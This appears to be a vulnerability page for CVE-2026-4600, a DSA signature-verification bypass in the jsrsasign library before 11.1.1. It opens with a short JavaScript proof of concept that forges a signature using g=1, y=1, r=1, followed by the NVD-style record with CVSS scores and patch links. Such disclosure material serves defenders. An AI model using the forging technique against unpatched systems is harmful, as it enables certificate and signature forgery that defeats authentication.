CVE-2026-4600

// PoC for CVE-2026-4600: DSA Signature Verification Bypass // This demonstrates bypassing verification using malicious parameters. const KJUR = require('jsrsasign'); // 1. Setup standard primes (p, q) but malicious generator (g) and public key (y) // When g=1 and y=1, the verification equation simplifies drastically. const p = "800000000000000089e1855218a3e7c7e52..."; // Example 1024-bit prime const q = "f4f47f05794b256174bba6e9b396a7707e563c5b"; const g = "1"; // Malicious parameter const y = "1"; // Malicious parameter // 2. Create a DSA object with the malicious public key const dsa = new KJUR.crypto.DSA(); dsa.setPublic(p, q, g, y); // 3. Forge a signature with r=1 // With g=1, y=1, r=1, the verification (g^u * y^v mod p) mod q becomes 1. const forgedSigR = "1"; const forgedSigS = "1"; // s can often be arbitrary in this bypass scenario const dummyHash = "aabbccdd..."; // Any hash value // 4. Verify the forged signature const result = dsa.verifyWithMessageHash(dummyHash, forgedSigR, forgedSigS); console.log("Verification Result:", result); // Expected: true (Vulnerable)

{"cve": {"id": "CVE-2026-4600", "sourceIdentifier": "[email protected]", "published": "2026-03-23T06:16:21.697", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package jsrsasign before 11.1.1 are vulnerable to Improper Verification of Cryptographic Signature via the DSA domain-parameter validation in KJUR.crypto.DSA.setPublic (and the related DSA/X509 verification flow in src/dsa-2.0.js). An attacker can forge DSA signatures or X.509 certificates that X509.verifySignature() accepts by supplying malicious domain parameters such as g=1, y=1, and a fixed r=1, which make the verification equation true for any hash."}, {"lang": "es", "value": "Las versiones del paquete jsrsasign anteriores a la 11.1.1 son vulnerables a la Verificación Incorrecta de Firma Criptográfica a través de la validación de parámetros de dominio DSA en KJUR.crypto.DSA.setPublic (y el flujo de verificación DSA/X509 relacionado en src/dsa-2.0.js). Un atacante puede falsificar firmas DSA o certificados X.509 que X509.verifySignature() acepta al suministrar parámetros de dominio maliciosos como g=1, y=1, y un r=1 fijo, lo que hace que la ecuación de verificación sea verdadera para cualquier hash."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jsrsasign_project:jsrsasign:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "11.1.1", "matchCriteriaId": "1EBBE1A6-4D19-4ED2-859C-73AFBDA25DEA"}]}]}], "references": [{"url": "https://gist.github.com/Kr0emer/bf15ddc097176e951659a24a8e9002a7", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/kjur/jsrsasign/commit/37b4c06b145c7bfd6bc2a6df5d0a12c56b15ef60", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kjur/jsrsasign/pull/646", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://security.snyk.io/vuln/SNYK-JS-JSRSASIGN-15370940", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gist.github.com/Kr0emer/bf15ddc097176e951659a24a8e9002a7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", " ... 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